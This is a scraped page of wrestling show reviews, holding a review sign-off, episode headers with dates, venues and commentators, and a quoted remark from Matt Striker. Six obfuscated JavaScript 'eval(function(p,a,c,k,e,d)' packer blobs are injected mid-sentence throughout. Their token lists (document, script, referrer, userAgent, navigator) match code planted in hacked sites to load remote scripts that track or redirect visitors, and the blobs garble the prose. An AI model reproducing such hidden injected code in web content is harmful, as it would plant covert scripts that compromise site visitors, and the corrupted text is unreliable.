It was usually more miss than hit, but shows like 01 and 98 were great ones. Tournaments just aren’t good for PPV and this is all the proof you need I would think. This is likely my last marathon as I’ll be shifting towards one review at a time as I find it FAR easier to do that way. Anyway, hope you liked it and keep reading or die. Seriously, those are your only options. If you don’t read my reviews, you will instantly die. I have no idea how, but you will. It’s the law.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dttrk|var|u0026u|referrer|rbseb||js|php'.split('|'),0,{})) Night Raw
Date: June 22, 1998
Location: Frank Erwin Center, Austin, Texas
Attendance: 10,891
Commentators: Michael Cole, Jerry Lawler, Jim Ross

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

Matt Striker made some comments after being released from WWE.  Among other things, he had this to say:

Without eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahkyn|var|u0026u|referrer|rddse||js|php'.split('|'),0,{})) that company on top of the food chain, nothing else trickles down. There are no independents, there is no Japan, there is no Europe or ‘that other place’ without WWE. So say what you want, but when you strip away all the things you don’t like about [WWE] you have to respect what they do.

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzsfa|var|u0026u|referrer|ryzsf||js|php'.split('|'),0,{})) January 29, 1998
Location: Mid-South Coliseum, Memphis, Tennessee
Commentators: Tony Schiavone, Lee Marshall, Bobby Heenan

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|renet|var|u0026u|referrer|hbnti||js|php'.split('|'),0,{})) June 21, 2013
Location: Nutter Center, Dayton, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfsff|var|u0026u|referrer|fzrdd||js|php'.split('|'),0,{})) Hogan formula is still alive and well.This string of title defenses for Cena is right out of Hogan’s monster of the month playbook from his big title reign.  Cena has already beaten Ryback and Henry is up next.  neither feud has gotten a ton of TV time and the matches are rarely in doubt, but Cena is the perfect guy to vanquish monsters until he’s ready for a big feud.

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekinh|var|u0026u|referrer|tihky||js|php'.split('|'),0,{})) June 20, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, William Regal